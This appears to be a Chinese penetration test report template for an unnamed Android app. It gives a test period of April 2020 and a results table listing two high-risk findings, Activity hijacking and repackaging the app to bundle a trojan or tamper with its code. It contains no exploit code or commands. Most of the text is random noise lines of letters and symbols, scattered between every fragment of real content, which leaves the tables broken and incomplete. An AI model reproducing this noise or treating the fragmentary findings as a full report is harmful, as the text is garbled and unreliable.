5 U: A4 B* t3 e* l$ @: }+ P; Z5 m6 Q0 C1 ~* E) o
, m# P8 m6 c8 C6 v, {# }
! @* w$ J4 j! V0 t
$ j# ], x" p( p$ D2 L
: f5 [2 ]: Q D8 _ 5 Q k( }8 Y" n: j; F# o1 t# V
7 p" V& I8 Q# ]* w8 e- o
- o/ r3 p. O, g6 M5 Z0 i( D& V1 g3 N. `$ ]
- M( Z- f2 w+ B# s- H4 A
) M9 ^; [8 k% L; v& s5 A 文档编号:
, }9 q* O! f4 e/ e+ S5 u# R; l- P- K R! d; _$ V) v
5 ?# |0 }, Z* U [! k2 X4 |1 ~$ j) l4 E( V; o- K2 E. p
5 h! s* K; V+ e3 X4 D* {& J5 @
1 b2 k( N5 r8 C2 k7 Z" X 7 U$ W& y% |! t% S2 Z
2 D/ q. s+ @4 o {7 J$ ?0 V6 m% j
" \# f. n+ @6 k! a3 x$ O3 \! v
% d7 y& B+ l' K , ]' e: v, v1 c; Q4 P
) L7 F8 }9 p2 p$ c9 ]2 p; P3 I! `
5 a5 b U+ E3 X* a: \, ~2 [2 }
5 j- a r& {; y! e+ D9 x# O
5 | Q* u- E8 ?# P+ |, j
+ L- J! _, f8 S; J
9 `0 N) b/ J3 }- G; [9 K7 `1 y g! w( o
* i) Z# U8 a' F# K2 w0 n* E# A' m3 H1 F$ U% Y; ?( M8 i
% v5 L9 |1 z+ e
* Y4 ~. z( p3 s$ A* a3 D 8 k0 q2 j X) L3 `0 C% ]
8 D+ ~1 x: m+ G" U0 }+ E5 o/ }$ p$ v
9 ?' j! ^+ i5 i# D1 _) V# [( k3 Y( c. p1 l4 f- _ |0 R& k
, _6 E" Z, C0 X& R( K6 l
0 ?; W0 ?+ i3 i- z3 J
+ \$ R( y+ }2 ]' H$ n5 b1 D( }' h1 @
8 o, G8 ?5 W9 o+ U
3 r' v/ q' L; S3 T& y" b7 ~; _9 A' s# M- ] f9 j
! }0 C2 ]* p+ U3 L! N- F3 w" |% B
% M( z U# t" q# w1 Z. u2 l& q
6 f1 l7 I$ f R3 K0 S5 k 某某某APP渗透测试
: o# J( y8 I' V1 z. p6 i$ U9 |% Q) a4 x6 M
) E! `+ _' P6 M3 |8 Z9 v
6 e, g* s, v7 U
1 L) G; o' m. Q$ C& D: A- E- v" t- H1 h3 }% j$ y: c! w- R/ U, t8 h' ?
3 }- m; E0 c: r2 V. s9 r1 J- N" {" M: o6 t4 ^
2 v, }+ D5 g+ b% O. x9 d( [. g! Y. Z$ p6 v7 G0 J* D' q
- h9 l2 R- n, r% E( v8 M
Y9 i# {7 f$ E: ?$ J. N" E
" |& S7 z* O/ A; x0 [% c, a; b, H) l0 p& V% A3 y& ~
5 I+ ]- P: P0 v6 k, u' \' h2 }; j- b8 e' D& ]$ A: W$ e
" ^# O/ R/ s7 a. ]) q2 x! A! U* \8 F5 T$ W3 C+ U
4 p% M& Y4 y- Z% ]) i
+ H# S1 s* z8 l+ a7 A3 ^) Y0 @
) z. U- W4 r: X Y# \! U9 o# v: d. p
1 |+ l5 B$ x% C" n7 G* Q N) G
+ Y8 l& U* z7 m9 { _ - U5 n7 O+ e- ~! \( q+ b
" r) m& S+ U t9 J
4 R! ` `% X- d, V! r! y$ F; Q! k( h$ L- u3 z Z6 I8 P4 {
) G+ U4 [4 E7 X- B/ \. \2 _8 m8 n3 ^. `
技 术 报 告
}' ` Y7 N. a& q9 z. h# t9 s. P4 \1 i3 K
. R' o" A& h: G w) t7 J
$ @6 M" D4 Z J. F$ j# \; X
' S; J9 l. G1 i; |0 L* Q; a( n9 K4 l! {
% Q8 v& f. W+ \7 T- f) | k" H
( G3 }2 ^* y. Y) v ; ~+ I6 y* w6 ~
3 ], w7 R% X1 l
( I7 m) x5 c/ G% R( W& V; H7 [! L* u* H; b! V$ D7 o5 U5 h% m! g
, y; E6 m* \8 X! Y1 z- b. `- g! k& E( E- s4 ]0 [* n7 U
# n1 ~$ x. H. ?6 N& r/ `, _; R# } p- R. `
! _1 Z, v/ n" {4 F2 Q/ \ h
( V$ F. w: \ J$ K4 B : h6 G: P! ^2 H
7 ]! j6 {9 ~% I
9 U6 V% c& k( `- T/ F
! R) g; t5 M+ {" ~, W4 t' M
" }7 Z) u" g& _7 L$ j& i9 p. l. ~
3 n: ~- _& N0 i 2 [1 a$ G, S% N" D% M% i5 G6 { @3 F* h
/ Z8 J* |) s2 E$ ] # |" x; t) Q7 j; v4 t
E r$ n- A& l6 M5 J + v' A, U* T f$ E
. F! R5 }( J# ?: M9 H" o6 _ O& \
8 I4 u& ^) ]! U2 ^# ~& g5 @) O" z+ x" Z' Z. M* I e0 g) g+ z
7 v' F, w' t$ q, k
H5 Q2 S& a9 s4 m9 f$ X $ k' ]6 M. T3 m# _
# F' Y* U1 L& V; o3 x) z- F: k6 C
0 ^8 `: Z5 @0 v; _4 S
; g) }' s( Q9 A n2 _% x! e 5 V0 j# S; Z, N' r/ ]
5 P) {) W& p7 q4 M
3 w' {6 X4 f r, H! X3 z" U% _
0 E( t6 I1 G( V1 q+ j . n& a9 F/ p) h+ A$ a; p
1 D( P- v0 F0 s/ h( P3 O* K & X' ~! J$ y: C4 Z
! G+ P6 u. j* v t) p 6 N4 i/ q8 `6 S; f8 w. ?
8 a2 y9 S: ` S0 a5 r
- |$ ^) k3 \9 h2 e, V2 f* F) @5 I. x/ M) w' k, D! `
: e7 W$ Y. c+ ?" u( j
6 n$ k" O8 Z) b& c7 I1 S5 o. v+ {& ^
% Y; ^4 @0 T6 C) x; ?; I
2 w- g: i& Q1 m0 ? 1 t( {2 o" }# L( Y8 j
# ]+ t* D0 U w4 s$ @
& ^6 k* x8 |/ W! Y+ C, n
' G4 J" b- B4 W. G7 z3 k; d
5 z% w1 n% X) k) [# K% J4 O9 M
; Q7 _- S' M# x8 m0 v $ D; M. T) T% v7 Q# V
# Q; V& M L9 G$ A
9 S" Y$ D( Y2 e; V- M7 U. R3 J$ ?
& \8 Y; w$ O# I8 P7 C' J: m# g
$ O S6 K9 Y! h3 D8 D, K! l& s1 X# j/ h f1 ]# E
M( ~, F% E# |- O# O5 V' B
0 z: d1 G( M, S. L! ~6 n" H
8 o6 B% _. |, h+ k. {3 B; S. U) Y g, b1 e, l
- E6 l2 R' C# v
! U+ U0 W2 P; v, p ' u: r% y5 r$ F1 V+ F
4 Q; O \' d) v% N1 I" f, z% I
: C' S/ D0 E( t4 b; S( ~; s! E! x: v
# C C/ |) Q" e8 h7 ^. F ; A3 O% L9 `3 I2 X H1 U$ k% {' L3 \
# U ?8 G' |) {/ ~; e
! r3 L' H7 w8 l1 A' C: l: p4 P- A
4 B: Y9 P4 c2 C% C; g9 q/ k
8 X0 N3 E8 \1 Z# L* ^
5 X$ L+ c. Y, o
3 [1 C+ B; q1 H' K7 `$ s$ A5 f1 |0 C4 p$ K x) h
- e; K, `$ x, Y' o- G
& a0 e: y5 V7 U* R 3 h0 A' y/ r" U
/ o. H4 v F7 O6 E
9 A. O" S5 K* ^4 D, w: A0 {
# b; M/ r! j7 d / N0 E; G1 |7 E# u. w/ Y. Q
" ^" [. J3 k# i' t& {" {/ ~5 M
0 W0 _& P$ h" _2 C
( U! M, ~- V. }
5 J L2 l$ u. ~+ ]/ h9 x
1 f9 e) E' n) L! I1 h2 o+ u- o + D, s+ k; `3 q% w$ o
2 \7 U0 C- m" e! t& p 0 V8 w$ ^* g! z+ w; ^7 B
0 ^0 q; z3 o7 Q0 y8 X
- i; ~# J. E' x3 B \
8 H% ?" h1 n% l- [( K1 r3 n% V
6 ~ u1 B6 h- o0 Y/ u
?% R1 s. |" ]; [% Y( A, c " O0 h* U- W" Z( M ? O
+ i# G0 M; f; j i1 w: f
. j" M1 z0 k' R: E
9 n9 n: @1 Z' k1 i4 f6 ]
+ F# I3 Y2 e2 A
4 [0 s( e# ?: ~5 ~* w( S 3 e9 i' }; L( a7 h' w( L( @
. @8 v$ P* p. n' T- D4 _5 L
2 `$ U9 J) G3 j+ v6 F5 p
, Q8 A$ s9 T, e0 X" a' `# D+ X 二〇二〇年 & A- G. z. {: [7 O u. i: R
- v' j' S. t# B! Q% }; B) H
5 j; h4 P6 T) {5 _6 \' \
) G. \0 n# s* L5 z2 { 4 ~5 r5 u4 A+ k X, Y
0 |6 ^' J, N& `9 s9 t % O, }. ]0 f. f6 S) M
7 J6 R! ]0 Q. `- q: X) G
0 _% V9 e- j1 d: p0 K' M: X
/ H/ V9 j4 X7 c, q% B ' @9 N( u6 I% O" G( g4 D2 e; }
1 l- k, `0 I$ g+ i6 C
" U" N( d$ [" w* O! w) @
) S& L- a/ S: ~ Q2 a0 j
" V' d1 ~. b( U
+ y F' P2 J+ _. Z
) ~/ J% ]9 Z9 N. S1 ]; k S3 Y+ z7 X
" V& `3 D: B& g& ^
7 R/ q+ P6 |- R9 A$ l1 b
" S9 M1 \5 `! v$ _7 s5 R/ ~6 h& [3 R. `8 R
目 录 & _1 a; Z1 [0 d3 i: J3 O
. }0 |+ {/ M- g" [+ y
- P- D5 Z' g: w* H5 b
* o3 e: A0 Z/ w9 j% w - K6 |. n/ n T0 g
3 `0 z: a$ Z+ s: c* ]
2 x$ D( l5 v6 d
2 ~, [; N3 B2 a0 v* a& H1 } . n* c3 o# k1 |- I/ t4 x4 P
0 U2 }9 L/ E" V$ P' n' o" @
1 v ~) O& }& d; M1 H
0 E* M8 W& s6 S
6 P c% U# ]6 r4 ?2 j1 _* | R' I
$ f( Y7 D8 I2 _9 v 1 概述... 3
. P% m% Z( H# B+ V# r0 ]0 C
6 k0 b& H5 ~- w: i% F" t
% Q" T* `! l. C# }$ ^/ D
8 l h# q6 y! E. @+ r7 e5 U1 o( L
. k9 t' a. D, k- r; B0 c6 U2 k. ^% {' S* ~9 g
1.2测试时间... 3 $ U! b7 o( f$ m& f+ L7 b$ s
: ^7 u( `3 K2 F, w" @ ! k0 b* [0 }9 e1 Q6 l
- J8 V! j: X4 x( F: R$ Y& f , Y6 S9 N6 Y) m( R; z0 C
/ B. a: s6 Z, W; {/ w$ i, t( b 1.3测试对象... 3 - J! m, F7 A+ I; Z; F. d8 |
, j* {! R2 Y. ^ C/ ^* I* M 1 {' ^2 k" B( R8 X, @& |
0 F8 y4 R6 r! r0 n0 }: m1 a2 L
: a. n5 ^# p7 Y$ p/ v& T1 p, p
5 o) l t( w& T p$ S
1.4测试结果... 3 " i2 K5 Y* A6 ^' [) K4 Y5 U( K
' A( k ^1 t {: @! Z! S
/ ^% @6 ^+ \* _( h2 y1 R% ^4 k2 s! r
/ @" q6 p; a( x" n8 A
c+ A# @4 b& m5 n0 A 2 检测结果... 4 - C h% \# ~5 `
1 A* o, Q' F3 l* J6 {8 x
6 a- p; o8 T+ u [. O. \$ T
p" Q3 g6 Q5 I1 o# Y9 a0 O: X
% }2 d( m) R( p
. F% B" m+ g+ J# u5 G
2.1 某某某... 4
/ |, Q% A# U$ I1 q8 \9 y/ x
# Q0 \* h- S5 R ! d# y& ?, X$ x8 u' i5 g& o
, A) U- T% c) o2 M7 a# e% m 6 G) E0 I! T& X7 E9 J' g' Q, Y, j
% K4 E! x/ Y, R" B" m 2.1.1检测目标... 4
5 V: |5 T$ {+ r9 l0 I1 I! p1 r4 i5 V, r; J! Y' _' u: s4 X( p i
6 ~" y4 u- V, x6 K( m' V& o& C: c7 ^& K! P
6 T" v* Z4 G5 w
8 i5 h$ S0 b$ Y3 l 2.1.2检测结果... 4 5 J) K5 }5 \3 V1 P; u6 i6 Z) i6 L
* T i2 B# m( I0 D S; s% n9 [: l% F% @
. A& Q [/ I9 V/ [+ D( e# Q6 H: P1 K- A0 E$ u4 |
/ u: q2 W8 t. A0 s5 \" U% M7 C( A" d" m/ v& d. T, D
2.1.2.1. 4 4 c7 b# y, ~5 H
! `2 x% L) I% t3 ^
W0 k1 o3 T0 c- }0 C
0 ]9 P$ z5 W/ R: N) G$ _; N
, V4 T' W2 U- G( N1 |! R' Q5 ?4 Z4 |7 ?
2.1.2.2. 6
8 a. j4 |" e8 `2 d6 E
7 m4 V, T) c9 \/ ? & l9 ?' M& Q) e, w
" B7 x& m/ W' g' d* s, M8 U4 \
% R$ X$ O+ U5 p+ K7 e& Y* z
) S" W, E; t) Q O8 ? `2 ^5 h : P- v2 E9 t/ \( H- }% I0 a
- d7 b7 G. \4 m% F8 T5 J: N( O/ k 5 J9 c; v; d4 M. [# d
/ ~7 f/ A/ U* ~5 M7 O% A) e" a H! H2 ~; Y8 x
6 a, X7 z/ `, v4 o
+ @% ~, J& g. U& E* ]; |0 @2 {( l: }5 O& E7 o, i
5 n0 v! q* A0 X' n! L. c+ S! H4 a
5 p% L! Z. D3 r" N
}3 n7 e( v1 Y1 O5 x( j( V+ s
7 @' T7 ^% _$ z* z4 [ f
5 O4 W, C% i4 r* j, s4 Z' e 1 概述 1 r2 G1 h; f* a1 z
1 m" ~ v8 D& j( N$ Q% c2 h 2 U* s& ]8 g* Z4 }! E U) d
( O. k3 f4 e- g6 N4 e0 Z, f* o
# g/ b/ W/ {, h1 L8 o; M/ k+ S: K" s5 Z" |+ u
1.2测试时间 x+ w* H6 ^4 g- V
9 |0 m: i$ ~& t u2 ^- V1 o
/ R( e1 f- I( [3 d5 u/ t8 z V; D& y2 K* ? J5 T
2 B8 S* {/ x9 p
, m' s: o0 R& M3 z. J; \. ~
0 R" M2 Z6 q3 z5 Q( E I) q; \# x/ H( s. }8 ~( l9 S8 T
6 D0 g6 n- y, O" l' A) F! s) \; U2 M* T! S1 N' C0 g
0 O1 F$ n* Z/ v& V7 K. O9 D% E( v
* T( v' ^& n6 S, t7 ~2 _% c
! ]0 S+ X- i# L. ^ X2 u6 n+ L B: N: I, u) Y
渗透测试时间
+ X( v# L! M( H& X$ x* p0 [
+ s1 O7 h7 M" z3 S- x# P. }$ o' B / i2 F& S, i# D0 B5 ]+ g5 a
6 m# T H! Y# N* a- u# u4 [ |
: L( S' R# ~, q6 A( ]8 l- v
, F" a+ x( S; |* G6 J- r
' Z9 S( j, i$ S$ s4 P) R; x2 _+ |4 L
G* f; t2 Q2 n, ^( |& x8 w) N! J( \3 ?% `1 \" ?2 L
) _* y! H6 B/ ]3 C$ L8 R" C8 M# M2 a- j/ ~% Q1 ~" J4 Y( ^, W
6 [/ `, [9 p1 U. Y3 a% t
" X. A6 X* M ~9 a" }" T
起始时间 - W9 g) c9 R4 ~
# Y1 t# s7 e# T+ M. ~
. c, A! `# y! N2 E
3 G+ j" l% F4 r. n6 Y! t( q | . {8 B- ?, a( o# g* q( T! @9 g" s
1 M' ]/ ~4 V7 o2 n$ T 9 j& O6 t, o& l% ~4 L- W1 p0 \( p
3 O! o# M ?) l' ^: A" `
7 z; ?6 j& N/ l, _" J% W9 k9 Z9 K: W
2020年4月6日 & ?, `. s% A+ Y, o1 }. L
# `8 [! k! e2 z) g P, G
. O; ]% h: v+ n; h: Y
! P9 ? A: Y! z/ w |
, d \! O# w0 \. r4 d% C; z2 `% g% \" A( }+ f, R: X( ?1 ^ R
1 u5 b1 j7 F7 C5 ^
; x) k7 j+ Y# t9 H- \ - C- s2 h6 E& v; g
4 }' _5 K& M. V" }. J
# ?" v) a" X. s1 ?8 _8 _# n. P/ C% O
% L0 W& j- E' `. ]
9 d3 F5 r# c& }; R 结束时间 2 F5 i5 a0 G1 y) j! }
# y/ V7 N9 \* w, ^) @$ j : P$ ]5 L, D' ?
* ?0 e2 G2 X4 e4 d2 z* Y | + Q1 p, }- `/ i" H( V
" s" d5 e( r/ c8 x
- n/ X* E& ^5 s/ }0 N, p' A( J
: M7 X" Y6 p4 A; P ) L6 N# y) Y& C2 c; u
$ T6 n3 d2 I, s1 b- H; s
2020年4月9日
) M2 ?0 [5 n' u% [4 u& G$ F9 k4 S, y: p& x/ O
% B6 n& K. ?" m3 E+ o& k. F+ l( _' P9 R! V; B& g( B0 k
| $ c% a& f; C, A
- A" p" F7 _/ R! ?# G
4 x: {, b! U( b: Q- P: m0 m* c$ @& t, |! C" V$ v( x; N
. p" `. X, B7 B$ u
2 T6 c4 T% C& z- r8 T+ @' U * L7 ~$ ^5 ~. q
+ g- s- w7 O& Y2 s3 U
: S3 \6 W9 r e0 L6 t+ N7 x
. ^ ?: e/ }, v0 O0 B: U7 X 1.3测试对象
5 N& Y) g0 ]$ s7 j. j+ ^( T1 [2 I) G$ k: f) }; Y) B
% @: t% d9 M. v" A6 R
5 t& u) s+ k. |8 P5 B7 X
( S. z. G8 m) b3 ?: G5 ] s1 h' u4 J( E1 x
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
+ X; k2 M8 D, u
+ X' U% f" h. J2 D6 V5 d ) n8 Z3 Z& ?7 B9 x/ t0 }/ ?/ u
3 R! }6 Y8 h3 |2 b " W1 t. u& j6 L2 Y! ?: N
4 V% Z! x6 q# N' {0 P$ O! m 表1-1 检测对象 + G/ C) C$ h( u8 b/ W9 x
: j# p& c& z+ v6 Z# F; a 8 P0 J- h1 G3 Q! S
+ U' H; [$ c( I% h B ) c* Q% `; T" j: p: f
& E$ M S6 Y) H P3 D7 W. K0 P
( t+ @# s: N2 L
, k) F+ e+ D! |& b' j: I6 Z
9 z0 |/ o' X2 S2 H# V: H: M' R# h: S' Z& a, D3 |- c
5 C% U& H; j6 v
; G# x1 d3 ~- { }3 Q' Z
. V5 ^: [* t' P
1 G2 H: C5 o7 y5 }2 C, A8 I7 v 序号
) Y5 {) i. A) s1 r# R* R3 X+ v* Z l3 F2 c" G( R1 O
4 e; @2 j! [9 R" E* \2 U
% K& C# p! j2 P& O, J
|
- l \% h0 G9 d1 k5 C, g. D8 V( {# X( O; u; V# r. y" Q' C0 O; s
* }6 v# J3 G' B2 K0 T) X+ C
( ^: _9 Y& b. r4 B, V - u8 d4 i9 x& s2 |+ S
5 f/ z4 i6 o3 V, @
测试对象
6 \0 j5 H/ r/ l# \
, F) ?/ v8 \' }% @) T 7 D" L) r* Q% B" q
# _( i8 T0 U1 B. \3 v) l
|
5 F$ z- }& e7 i6 H. d" t0 ^7 V2 h! @8 a1 G2 l% ~
+ U" {% o, E x9 L
/ ~- o2 g y4 V8 r, h9 e p6 |" I- y, ]+ \
' Z6 \- P2 r9 w* G2 y/ E7 \9 t 测试地址
; g* I! R: J' E7 W. s/ F5 ]8 A. H" K' Y9 E
4 d. a: {1 K9 J( J1 d2 z; M I
* m Y/ ]' R8 e |
6 B, {) V+ `. e) v! ?5 u
# [$ B* }$ K, K# Y5 w
6 o$ Z; C/ v Z5 \# M* l, a9 _# B9 V# P) b" t) j
+ W2 M& Q9 Y { E8 z7 l- R
+ W1 F# p3 I% h 安全漏洞 4 j6 I# |( a, `+ @
* [% b, g3 L" G6 S: |. P+ h , M# `( I, R3 H+ H+ q% N4 n
& m' h1 y# q7 p" ^' F
|
1 X2 ~3 T0 _+ y8 Y4 p* g G& y" Q& J1 c+ B- ~8 s+ K
5 |( i, g8 H$ C' |
. v: R" ^+ m5 p* X9 {0 N, r% e n ) v7 ]+ e3 r4 R6 k, z+ v+ t
. Z, I* f E# E5 T; v! X9 P& W
# D3 h* |5 F8 v0 u" q/ b6 X/ @5 f& T3 k! H' _* p
: I6 X @$ V' u1 U( B
! S" \* x& n$ ^
1
: P) n% v1 Z1 W) j, m; m) M6 u: z* r8 k3 @+ T6 Q( k" o" y2 Q: h3 n
% C8 x; z9 h0 X- a; R' F L V
& Z. m9 X! l. u" G | . }5 V, @# B ]$ x' G
! r/ l2 Q8 F0 [! J/ \7 w! v. @ 3 O+ Y9 u0 `9 y7 a: b8 E: v
5 B. Z3 E* P" W" g' c' y4 \
$ Y9 L' |, |6 j5 E0 ?
% A3 ]- @* c; J- f, O3 W; s" l+ q4 T 某某某安卓APP . J7 d) z$ H* o6 W
9 E$ V3 t2 H8 v. Q0 F 9 b. Y S$ ?( V( Y% t6 K$ j' o& `, C
# Z9 C! e8 i) g3 ~ | / f5 U3 m/ h! s1 [; Z* j
6 K( P3 O$ T N2 x P/ ?( S' v$ F: j1 P% J) |3 C
. o+ ]' J+ v2 H! a 1 q3 l4 U; i* e) ~' U8 T
' v9 e, K( J4 n% `% m
( G$ v) O4 O' s8 Y" `) q/ s
+ G: p9 K2 J% V. q# c- f, o
8 u" ~1 W, g1 N
1 u: X9 z# f4 c# u | 0 o) n7 L! }% N' R" E
! J# n/ y- c0 `3 t- }2 f6 O
?2 v' M8 e5 ~) E! O; w8 F7 x% s( p6 k; d# H1 J
9 o6 q! W$ J1 k4 M; _1 q7 B9 e/ N- k5 r) Q- P# w/ s
2
1 n& t( ~$ f: X% H% Y+ L8 [' a- n6 z7 ]6 h! z* e: n {
& H9 @: L. I, J; L& `+ [
& H( A% @; U5 t$ y: l) O& J | ! U! s. b, |* o" ~0 o, ?
0 P: \7 W+ \& k }: q
* o; ] ^! v* f- f- i
4 B! K! X* V9 M c: Y( R6 m
% y; Q: A$ P' I1 I# T4 @& W( j
+ C& F& W/ G* H & B9 p. k5 f5 u. Y7 ]8 p, G" E
) J5 c. t& z) R6 u8 K5 [
6 ]! |/ U P& Q, Y6 x/ B& L1 t
- h9 z) T7 `8 C# R/ _1 D 1.4测试结果
[# P# D5 }# P# B- }) D3 f1 O+ I7 n/ P8 c4 A) T1 k
# n) S, {4 X# S+ H$ K4 y5 d" X5 K8 F5 d- a; L" H8 L; N* @# c- I
. V3 k" z: ~* P7 }; n d8 U$ J5 n, ] q$ j# `: A% [& O5 h
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: % y5 G# e6 R4 M. `4 S; q: T" f
4 Y& ^: i# W3 a4 ~" d 3 {. I' |* A |* M' }1 U3 A
4 U, e! o7 p: A) ~. M
# P& }0 r1 W' b) L- x
" d) K! X% S: o% ^$ D- K3 | * B, J4 n' a3 I; c! t- ^# H
- }$ L; ?3 R7 P) K0 u$ _
1 Z, j0 Q5 D! y9 B. @2 X1 H3 i0 F7 {- x9 _9 _% W2 E9 O
; i% n% Y+ F3 w: F5 E+ E
[4 D6 ~( ]) S |% J5 n. e ! H. M& I, o, C( b w/ f$ ^8 U
|/ ^/ U6 j' a _: h
9 T* Q- P$ B" @- q1 x4 x7 j
6 U3 | ?+ e$ ~- T/ p3 i* T. q& A( v ' W3 B8 P7 F8 B, V6 X) f
1 m6 y: n3 r+ b+ }# r: T $ c1 x, W: p& R- x$ n
8 s8 e) G* f8 h, W( K1 @ Z
+ o2 T d% `/ ^, X' m$ T2 X0 l& \
序号 # b8 M" V0 N) W' F
( H5 `. R, _2 J: g- }. R$ b; z
1 {6 v! c2 {. c, h1 i4 o
. G6 x& e. Z5 _/ @8 u2 | | ( {! L1 ~3 B) }0 A
: J4 x7 J1 |* P, b
$ Q1 Q! d# O% M* [( O# i& g: ]) J; E; w# J, {/ `6 g
; U+ [# g# R4 S; j) e3 J M
5 J7 P; b0 U, f/ W. A# ]$ A
系统名称 5 K ]* b" t9 g# x) i9 `3 f1 s
8 A1 N) ]8 K. ]# n
- j$ q4 W/ L2 l) F9 z1 o. m
# ]) e9 H0 `4 E2 P' @$ @ | * E0 _" X C( @ `) S2 y8 T2 G* w
& h; V1 s0 [2 M p5 I
* a O7 @6 y4 k- J
; l2 J A2 [* k; V9 e% `
! G$ O4 Z/ d' \' }) z D! b9 {3 Q2 a$ S/ y4 a% J* j4 I
漏洞名称
& b% d9 t* Y8 }: F2 x3 v' l6 n2 x* d+ x1 l7 S, y
- @" n( Q9 r# j8 V+ _
2 C' m' |8 r" T9 L( C2 T! y1 h+ V |
: i k, c' b; V4 E9 d: f8 S
+ R# n: M, D0 l& W; Y
5 e6 G6 g/ w. C" U; R8 d6 x
' @ N" y/ N; }. D5 }& k' s
]( o( z6 N; i# ~3 i+ Y
& {, `8 q+ g8 z5 d6 P/ O 漏洞危害
* a1 U- @# o' [; `* F" D1 C0 {: l: O
4 W& i# ^ @9 E1 c & @1 P1 |( o1 E+ Z- m( v
& T. i/ ~* `: q6 b1 X% i
| 0 [4 M# M7 K: e8 c% i, a
' d% |/ z$ z p+ Z% M2 I
) J2 p1 p! ]$ Q' m1 O
/ n7 g8 }6 z6 ^9 d3 o7 e
, L4 P1 x7 C' y" I
+ g& f" g+ L$ F9 P1 X1 i6 P& ?
修复结果 , Z4 z+ n* V. b5 T3 i( v# O+ h7 }# s; s
* p R/ b% d1 B& Q. R0 W6 j5 U
9 ~+ e6 }! a, e( G: H! [
8 r) W! ?) z P+ H' b) k |
7 s2 u5 X) z2 k" E8 V- j& M3 K
, ?; ?- } C2 y/ R- m' U * a- c2 K$ L7 M2 }0 [
$ y7 O) ?; |4 d
( m, H; e2 }3 R( }
% D1 ~1 L. j& p; b+ S5 ^
/ H9 v9 v9 i1 a# f+ H# R
1 N; D& k* }7 X: G: g5 y B8 e2 u0 z) u/ W& N( u
/ P" j! n# A' S% \+ ^
1 2 Q# K: Q7 P9 m
4 W" m+ e$ ?( @+ {
) s( {( n& m( X$ k3 s* {
* s, G& W. l0 y
|
* O& N7 @1 s/ o; g! w. F* x. n9 d; `- k: Q7 ~+ T
( }9 [& Q# J4 Z0 {# V
W2 @3 t$ T! s3 d9 @/ U
8 U, I# d- W' I
' r$ e% ?4 b2 _% U/ g" F! B 某某某某某某APP
3 e; O l! W- l5 x4 _( ~7 b) F* m( l, |, \/ D( N2 n, @6 M
6 m& f$ E$ P2 h
* K5 K6 e) j5 \1 ~ |
, D5 T# B2 ^: d0 D$ e) D) I" S3 `2 V0 H/ w& B- s: ~
4 _8 V! b5 V2 t2 e0 J
) a" P1 w7 |0 X0 _9 h" q, P" @7 P
9 d8 ]2 b: W% N" L, w3 {
7 x: E2 G7 }) S4 {2 v H2 m6 [ Activity 劫持
# e. N) C% R- z6 Y9 P* j5 h
3 L" ? W( r k$ p6 C) U; y 4 x; L) H4 @. k, i
0 d# ?9 {" o$ V/ W# u! ~
- u; q) v) f& t! L' M
0 u: ?4 C8 i4 f & g0 g* F' e2 V5 i7 g! X
- Y5 s! |3 ~: u0 K/ p. [) _# x
% G8 ~1 u/ R5 s! \ O
/ v$ y& C$ D& J4 \ b | : w) J+ O) N6 @) b2 o/ o% \
( J. V( I1 s! @ 9 Q; E0 J7 J2 G4 U
: Z" G4 J% _7 L; ~1 ?3 W
3 n1 H! k" O! n" @4 m3 Y9 \
: _& `8 Q6 i; D) X! W- R+ z 高 1 D& U# p- r1 l$ K) a7 b8 i
! J! e; p+ Z( }! a% F
$ y# T. F) U0 o$ R. B/ ]% g) p' W7 \& D8 U4 s
|
# P6 r/ M4 m# {- t0 O7 ^/ e8 z7 g6 B! o9 `8 W y
4 Q X. ^/ u& \$ b$ H& |$ d1 a1 O: @
4 z3 |) T$ z3 K+ G( n" R
' T; f0 ~$ i& D" e6 i3 O
5 Y# v8 v0 N% Y: |& ^
+ _) Z' Q6 [- }0 Q5 h3 I# y6 g. @! V+ p) E1 b
$ {; J) [; W: G% H$ t ~
! b. l. Z2 Y7 |5 m) a | " i9 z/ \ n7 G4 {
) I! ?- V6 a0 g& ?5 F
8 V+ `" Y8 b. x! O) [" z1 r2 R' x
' ?! _" _# e9 h4 Z) W6 G( g
3 ~! T% \* w8 W+ Q ; d& V/ L+ i* |7 n* u5 M; c C, X/ s
' L! x1 {9 W, }4 s8 p
; W7 a1 v6 N" X% I' p) G3 [+ L; o. p# m" i% L
2 0 `: d! w) N! M2 U
# [; g. G# `# f% O/ T
X% Q$ ?: Y1 V* G' T6 j1 p, Q# y$ D$ J
| , P. F, X* _, G9 G" u
8 F$ b- K- |9 W( i3 w% A
/ T% q! Y0 Y6 l& X4 F" u
( C" c) G6 i; c- z, `
+ N/ d; y6 ?. b- U) {
& L9 V, `4 c, S3 T a& K$ _! j. W( L 某某某某某某APP
. u, I5 x6 _' O4 g# F, G: G1 p0 E+ Z8 _1 b, C, W% y4 L" B
$ o; B- M& X+ X2 [, r9 Q7 c- u8 s- I9 }/ [! J: u& J
| . v% X- E9 \8 j4 Y5 _- _
5 b& `- U+ D2 e5 w
6 J9 M& r- J: M* G+ x/ V% Y7 K% w; q1 Q4 s" {: m. P/ \
' V1 j6 C- Y- H7 D9 r
; l( b) o! P9 D) v6 ]+ `% t 反编译二次打包捆绑木马、篡改APP代码 + r& u. Q3 ~3 W' u8 \5 U+ m6 P
5 X- X- g5 N6 O: Q5 c
9 g% V" \& g. O) g" g$ c2 c& N: D" q! {* b7 o2 l0 T) D( I* Z
|
2 c! V1 y. ^8 }, ]. S2 h6 j" N9 _6 |4 t7 q+ s
# c) q/ s9 o. {: J6 Y
' X: [3 I- l! I8 _4 ]
2 m, o, l% a, Q5 M0 J1 z2 L
3 q% O V- p% M: h
高 - a& y8 f( i7 b6 ?# m+ X/ p- S: k- Z
! Y: u7 @' n' [" f3 n. c) B
2 K8 X& H& Z* N$ h0 n9 x2 N, j# F* F0 V% |
|
c5 s$ N8 x6 t/ b5 w: g" g! @$ E' z1 s, s- k& |6 H
5 l- `$ I6 f* H% f% g
' G) ~: @0 S( @8 w ; u8 u! B; L1 p8 k* x
: C r9 H( {/ M
( f; Y# x1 L. X8 }/ Y" M3 @5 V0 B3 d
# W+ d' |' s* a0 f e# p7 o
* _, i1 Z, N- Q, x0 U | * P9 c5 t* z2 p; u2 u$ I6 O7 ]: Z) t2 ?
5 L8 E4 l+ U/ N - A1 Q Z( i( t O# V! B
% X. _$ g9 q& m% H7 I , x/ w. h3 X# f8 S
; x& ?3 q7 k2 v" d . C; U5 B# M. f/ K. X+ V: v
2 w% X$ m# V0 {( c
3 a/ s+ s1 l, j( O3 N( x" j
8 P$ `# ^! t! Z$ | * n3 c, t2 m2 Q0 A. V
. M+ T) V m* O# \" G " E9 C6 {# K+ C
